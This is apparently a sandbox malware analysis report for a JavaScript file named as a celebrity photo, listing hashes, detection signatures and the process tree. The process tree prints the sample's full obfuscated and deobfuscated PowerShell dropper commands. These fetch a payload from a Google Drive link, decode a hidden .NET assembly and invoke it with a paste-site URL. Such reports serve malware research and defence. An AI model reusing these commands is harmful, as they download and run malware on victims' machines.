Windows 7 deprecation

Windows 7 will be removed from tria.ge on 2025-03-31

Overview

overview

10

Static

static

1

Lana_Rhoad...oos.js

windows7-x64

10

Lana_Rhoad...oos.js

windows10-2004-x64

10

Analysis

  • max time kernel
    149s
  • max time network
    150s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20241007-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
  • submitted
    31/10/2024, 16:58

Sharing

Copy URL
Twitter E-mail
Report Analysis Logs

General

  • Target

    Lana_Rhoades_Photoos.js

  • Size

    548KB

  • MD5

    ae498935d8a61b3008bd9393a2306dec

  • SHA1

    b1858655d705e14c01cec8d008c3f3db0a09807b

  • SHA256

    401f183d5553d4f01ff3a4df33524f39faa6138f40afb570300ae41ca31efc08

  • SHA512

    8d9830e5ff3f09099ac1e1af2a585cad2a2ad287b75117741d5f940dc2dd934e7046d17881c93b0398917d1f42a9208ab17bede62a594b1a12997d2bba660a8b

  • SSDEEP

    3072:0F8F8F8F8F8F8F8F8F8F8F8F8F8FjFoFoFoFoFoFoFoFoFoFoFoFoFoFoFoFoFod:X7HlvYPobr777lvrFI

Score
10/10
execution

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
ps1.dropper

https://drive.google.com/uc?export=download&id=1AIVgJJJv1F6vS4sUOybnH-sDvUhBYwur

exe.dropper

https://drive.google.com/uc?export=download&id=1AIVgJJJv1F6vS4sUOybnH-sDvUhBYwur

Signatures

  • Blocklisted process makes network request 4 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Run Powershell and hide display window.

    execution
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
  • Command and Scripting Interpreter: JavaScript 1 TTPs
    execution
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Script User-Agent 2 IoCs

    Uses user-agent string associated with script host/environment.

  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs

Processes

  • C:\Windows\system32\wscript.exe
    wscript.exe C:\Users\Admin\AppData\Local\Temp\Lana_Rhoades_Photoos.js
    1⤵
    • Blocklisted process makes network request
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:3480
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'SQBFAFgAKAAgACgAKAAnAFQAMgBIAGkAbQBhAGcAZQBVAHIAbAAgAD0AIABaADQAUwBoAHQAdABwAHMAOgAvAC8AZAByAGkAdgBlAC4AZwBvAG8AZwBsAGUALgBjAG8AbQAvAHUAYwA/AGUAeABwAG8AcgB0AD0AZABvAHcAbgBsAG8AYQBkACYAaQBkAD0AMQBBAEkAVgBnAEoASgBKAHYAMQBGADYAdgBTADQAcwBVAE8AeQBiAG4ASAAtAHMARAB2AFUAJwArACcAaABCAFkAdwB1AHIAIABaADQAUwA7AFQAMgBIAHcAZQBiAEMAbABpAGUAbgB0ACAAPQAgACcAKwAnAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQAnACsAJwBuAHQAOwBUADIASABpAG0AYQBnAGUAQgB5AHQAZQBzACAAPQAgAFQAMgAnACsAJwBIAHcAZQBiAEMAbABpAGUAbgB0AC4ARABvAHcAbgBsAG8AYQBkAEQAYQB0AGEAKABUADIASABpAG0AYQBnAGUAVQByAGwAKQA7AFQAMgBIAGkAbQBhACcAKwAnAGcAZQBUAGUAeAAnACsAJwB0ACAAPQAgAFsAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4ARQBuAGMAbwBkAGkAbgBnAF0AOgA6AFUAVABGADgALgBHAGUAdABTAHQAJwArACcAcgBpAG4AZwAoAFQAMgBIAGkAbQBhAGcAZQBCAHkAdABlAHMAKQA7AFQAMgBIAHMAdABhAHIAdABGAGwAYQBnACAAPQAgAFoANABTADwAPABCAEEAUwBFADYANABfAFMAJwArACcAVABBAFIAVAA+AD4AWgA0AFMAOwAnACsAJwBUADIASABlAG4AZABGAGwAYQBnACAAPQAgAFoANABTADwAPABCAEEAUwBFADYANABfAEUATgBEAD4APgBaACcAKwAnADQAJwArACcAUwA7AFQAMgBIAHMAdABhAHIAdABJAG4AZABlAHgAIAA9ACAAVAAyAEgAaQBtAGEAZwBlAFQAZQB4AHQALgBJAG4AZABlAHgATwBmACgAVAAyAEgAcwB0AGEAcgB0AEYAbABhAGcAKQA7AFQAMgBIAGUAbgBkAEkAbgBkACcAKwAnAGUAeAAgAD0AIABUADIASABpAG0AYQBnAGUAVABlAHgAdAAuAEkAbgBkACcAKwAnAGUAeABPAGYAKABUADIASABlAG4AZABGAGwAYQBnACkAOwBUADIASABzAHQAYQByAHQASQBuAGQAZQB4ACAALQAnACsAJwBnAGUAIAAwACAALQBhAG4AZAAgAFQAMgBIAGUAbgBkAEkAbgBkAGUAeAAgAC0AZwB0ACAAVAAyAEgAcwB0AGEAcgB0AEkAbgBkACcAKwAnAGUAeAA7AFQAMgBIAHMAdABhAHIAdABJAG4AZABlAHgAIAArAD0AIAAnACsAJwBUADIASABzAHQAYQByAHQARgBsAGEAZwAuAEwAZQBuAGcAdABoADsAVAAyAEgAYgBhAHMAZQA2ADQATABlAG4AZwB0AGgAIAA9ACcAKwAnACAAVAAyAEgAZQBuAGQASQBuAGQAZQB4ACAALQAgAFQAMgBIAHMAdABhAHIAdABJAG4AZABlAHgAOwBUADIASABiAGEAcwAnACsAJwBlADYANABDAG8AbQBtAGEAbgBkACAAPQAgAFQAMgBIAGkAbQBhAGcAZQBUAGUAeAB0AC4AUwB1AGIAcwB0AHIAaQBuAGcAKABUADIASABzAHQAYQByAHQASQBuAGQAZQB4ACwAIABUADIASABiAGEAcwBlADYANABMAGUAbgBnAHQAaAApADsAVAAyAEgAYgBhAHMAZQA2ADQAUgBlAHYAZQByAHMAZQBkACAAPQAgAC0AagBvAGkAbgAgACgAVAAyAEgAYgBhAHMAZQA2ADQAQwBvAG0AbQBhAG4AZAAuACcAKwAnAFQAbwBDAGgAYQByAEEAcgByAGEAeQAoACkAIABWAEcAcQAgAEYAbwAnACsAJwByAEUAYQBjAGgALQBPAGIAagBlAGMAdAAgAHsAIABUADIASABfACAAfQApAFsALQAnACsAJwAxACcAKwAnAC4ALgAtACgAVAAyAEgAYgBhAHMAZQA2ADQAQwBvAG0AbQBhAG4AZAAuAEwAZQBuAGcAdABoACkAXQA7AFQAMgBIAGMAbwBtAG0AYQBuAGQAQgB5AHQAZQBzACAAPQAgAFsAUwB5AHMAdABlAG0AJwArACcALgBDAG8AbgB2AGUAcgB0AF0AOgA6AEYAcgBvAG0AQgBhAHMAZQA2ADQAUwB0AHIAJwArACcAaQBuAGcAKABUADIASABiAGEAcwBlADYANABSAGUAdgBlACcAKwAnAHIAcwBlAGQAKQA7AFQAMgBIAGwAbwBhAGQAZQBkAEEAcwBzAGUAbQBiAGwAeQAgAD0AIABbAFMAeQBzAHQAZQBtAC4AUgBlAGYAbABlAGMAdABpAG8AbgAuAEEAcwBzAGUAJwArACcAbQBiAGwAeQBdADoAOgBMAG8AYQBkACgAVAAyAEgAYwBvAG0AbQBhAG4AZABCAHkAdABlAHMAKQA7AFQAMgBIAHYAYQBpAE0AZQB0AGgAbwBkACAAPQAgAFsAZABuAGwAaQBiAC4ASQBPAC4ASABvAG0AZQAnACsAJwBdAC4ARwBlAHQATQBlAHQAaABvAGQAKABaADQAUwBWAEEASQBaADQAUwApADsAVAAyAEgAdgBhAGkATQBlAHQAaABvAGQALgBJAG4AdgAnACsAJwBvAGsAZQAoAFQAMgBIAG4AdQBsAGwALAAgAEAAKABaADQAUwAwAC8ANABLAHoAJwArACcAegB1AC8AZAAvAGUAZQAuAGUAdABzAGEAcAAvAC8AOgBzAHAAdAB0AGgAWgA0AFMAJwArACcALAAgAFoANABTAGQAZQBzAGEAdABpAHYAYQBkAG8AWgA0AFMALAAgAFoANABTAGQAZQBzAGEAdABpAHYAYQBkAG8AWgA0AFMALAAgAFoANABTAGQAZQBzAGEAdABpAHYAYQBkAG8AWgA0AFMALAAgAFoANABTAEEAZABkAEkAbgBQAHIAbwBjAGUAcwBzADMAMgBaADQAJwArACcAUwAsACAAWgA0AFMAZABlAHMAYQB0AGkAdgBhAGQAbwBaADQAUwAsACAAWgA0AFMAZABlAHMAYQB0ACcAKwAnAGkAdgBhAGQAbwBaADQAUwAnACsAJwAsAFoANABTAGQAJwArACcAZQAnACsAJwBzAGEAdABpAHYAYQAnACsAJwBkAG8AWgA0AFMALABaADQAJwArACcAUwBkAGUAcwBhAHQAaQB2AGEAZABvAFoANABTACwAWgA0AFMAZABlAHMAYQB0AGkAdgBhAGQAJwArACcAbwBaADQAUwAsAFoANABTAGQAZQBzAGEAdABpAHYAYQBkAG8AWgA0AFMALABaADQAUwBkAGUAcwBhAHQAaQB2AGEAZABvAFoANABTACwAWgA0AFMAMQBaADQAUwAsAFoANABTAGQAZQBzAGEAdABpAHYAYQBkAG8AWgA0AFMAKQApADsAJwApACAALQBDAHIAZQBQAGwAYQBDAEUAIAAgACcAVAAyAEgAJwAsAFsAQwBoAGEAUgBdADMANgAtAFIAZQBQAGwAQQBjAEUAIAAgACcAWgA0AFMAJwAsAFsAQwBoAGEAUgBdADMAOQAgAC0AQwByAGUAUABsAGEAQwBFACcAVgBHAHEAJwAsAFsAQwBoAGEAUgBdADEAMgA0ACkAKQA=';$OWjuxD = [system.Text.encoding]::Unicode.GetString([system.Convert]::Frombase64String($Codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:3168
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "IEX( (('T2HimageUrl = Z4Shttps://drive.google.com/uc?export=download&id=1AIVgJJJv1F6vS4sUOybnH-sDvU'+'hBYwur Z4S;T2HwebClient = '+'New-Object System.Net.WebClie'+'nt;T2HimageBytes = T2'+'HwebClient.DownloadData(T2HimageUrl);T2Hima'+'geTex'+'t = [System.Text.Encoding]::UTF8.GetSt'+'ring(T2HimageBytes);T2HstartFlag = Z4S<<BASE64_S'+'TART>>Z4S;'+'T2HendFlag = Z4S<<BASE64_END>>Z'+'4'+'S;T2HstartIndex = T2HimageText.IndexOf(T2HstartFlag);T2HendInd'+'ex = T2HimageText.Ind'+'exOf(T2HendFlag);T2HstartIndex -'+'ge 0 -and T2HendIndex -gt T2HstartInd'+'ex;T2HstartIndex += '+'T2HstartFlag.Length;T2Hbase64Length ='+' T2HendIndex - T2HstartIndex;T2Hbas'+'e64Command = T2HimageText.Substring(T2HstartIndex, T2Hbase64Length);T2Hbase64Reversed = -join (T2Hbase64Command.'+'ToCharArray() VGq Fo'+'rEach-Object { T2H_ })[-'+'1'+'..-(T2Hbase64Command.Length)];T2HcommandBytes = [System'+'.Convert]::FromBase64Str'+'ing(T2Hbase64Reve'+'rsed);T2HloadedAssembly = [System.Reflection.Asse'+'mbly]::Load(T2HcommandBytes);T2HvaiMethod = [dnlib.IO.Home'+'].GetMethod(Z4SVAIZ4S);T2HvaiMethod.Inv'+'oke(T2Hnull, @(Z4S0/4Kz'+'zu/d/ee.etsap//:sptthZ4S'+', Z4SdesativadoZ4S, Z4SdesativadoZ4S, Z4SdesativadoZ4S, Z4SAddInProcess32Z4'+'S, Z4SdesativadoZ4S, Z4Sdesat'+'ivadoZ4S'+',Z4Sd'+'e'+'sativa'+'doZ4S,Z4'+'SdesativadoZ4S,Z4Sdesativad'+'oZ4S,Z4SdesativadoZ4S,Z4SdesativadoZ4S,Z4S1Z4S,Z4SdesativadoZ4S));') -CrePlaCE 'T2H',[ChaR]36-RePlAcE 'Z4S',[ChaR]39 -CrePlaCE'VGq',[ChaR]124))"
        3⤵
        • Blocklisted process makes network request
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:1344

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
    Filesize

    2KB

    MD5

    2f57fde6b33e89a63cf0dfdd6e60a351

    SHA1

    445bf1b07223a04f8a159581a3d37d630273010f

    SHA256

    3b0068d29ae4b20c447227fbf410aa2deedfef6220ccc3f698f3c7707c032c55

    SHA512

    42857c5f111bfa163e9f4ea6b81a42233d0bbb0836ecc703ce7e8011b6f8a8eca761f39adc3ed026c9a2f99206d88bab9bddb42da9113e478a31a6382af5c220

    Download Submit

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
    Filesize

    64B

    MD5

    367b1c81198bfdcdba813c2c336627a3

    SHA1

    37fe6414eafaaed4abb91c1aafde62c5b688b711

    SHA256

    1141e163d84d5ef0038593c866647f27c55510de2147dc1578130e518a22cced

    SHA512

    e0493957e6602efb156d372e5e66147056f6e3c2e01996ba9b4e04f82b2b1e4c7236d0e3681dce9ab4911a62546b6a141f1ae731de6e8184e758caf120cf594b

    Download Submit

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_0xhx1n3s.2lz.ps1
    Filesize

    60B

    MD5

    d17fe0a3f47be24a6453e9ef58c94641

    SHA1

    6ab83620379fc69f80c0242105ddffd7d98d5d9d

    SHA256

    96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

    SHA512

    5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

    Download Submit

  • memory/3168-0-0x00007FF900973000-0x00007FF900975000-memory.dmp

    Filesize

    8KB

    Download

  • memory/3168-1-0x000002CE10090000-0x000002CE100B2000-memory.dmp

    Filesize

    136KB

    Download

  • memory/3168-11-0x00007FF900970000-0x00007FF901431000-memory.dmp

    Filesize

    10.8MB

    Download

  • memory/3168-12-0x00007FF900970000-0x00007FF901431000-memory.dmp

    Filesize

    10.8MB

    Download

  • memory/3168-27-0x00007FF900970000-0x00007FF901431000-memory.dmp

    Filesize

    10.8MB

    Download